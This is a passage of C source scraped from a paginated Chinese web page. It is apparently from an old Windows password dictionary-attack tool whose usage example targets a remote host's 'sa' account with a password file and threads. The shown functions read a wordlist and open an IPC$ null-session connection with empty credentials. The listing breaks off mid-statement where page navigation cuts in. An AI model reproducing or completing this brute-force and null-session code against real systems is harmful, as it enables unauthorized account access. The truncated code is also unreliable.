//////////////////////////////////////////////////////////////////////// void usage(char *pragname) { printf("\nPower by eyas" "\nhttp://www.patching.net" "\n2000/12/14" "\n\nUsage:%s " "\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname); return; }
//////////////////////////////////////////////////////////////////////// int ReadDic(char *dic) { FILE *fp; char tmp[40];
file://打开字典文件 if((fp=fopen(dic,"r"))==NULL) { printf("\nCan't open %s",dic); return 1; }
while(!feof(fp)) { file://读取数据到临时变量 if(fgets(tmp,40,fp)==NULL) break; file://把从文件里面读出来的最后一位数据[换行符号]去掉 strncpy(dict[total],tmp,strlen(tmp)-1); total++; if(total>=19999) break; } fclose(fp); return 0; } //////////////////////////////////////////////////////////////////////// int ConnIPC(char *RemoteName) { NETRESOURCE nr; DWORD flags=CONNECT_UPDATE_PROFILE; TCHAR RN[30]="\\\\", LN[5]="";
strcat(RN,RemoteName); strcat(RN,"\\ipc$");
nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=(LPTSTR)&LN; nr.lpRemoteName=(LPTSTR)&RN; nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) { return 0; } else { return 1; } } //////////////////////////////////////////////////////////////////////// int DelIPC(char *RemoteName) { DWORD ret; TCHAR lpName[30]="\\\\";
strcat上一页 [1] [2] [3] [4] [5] [6] 下一页
|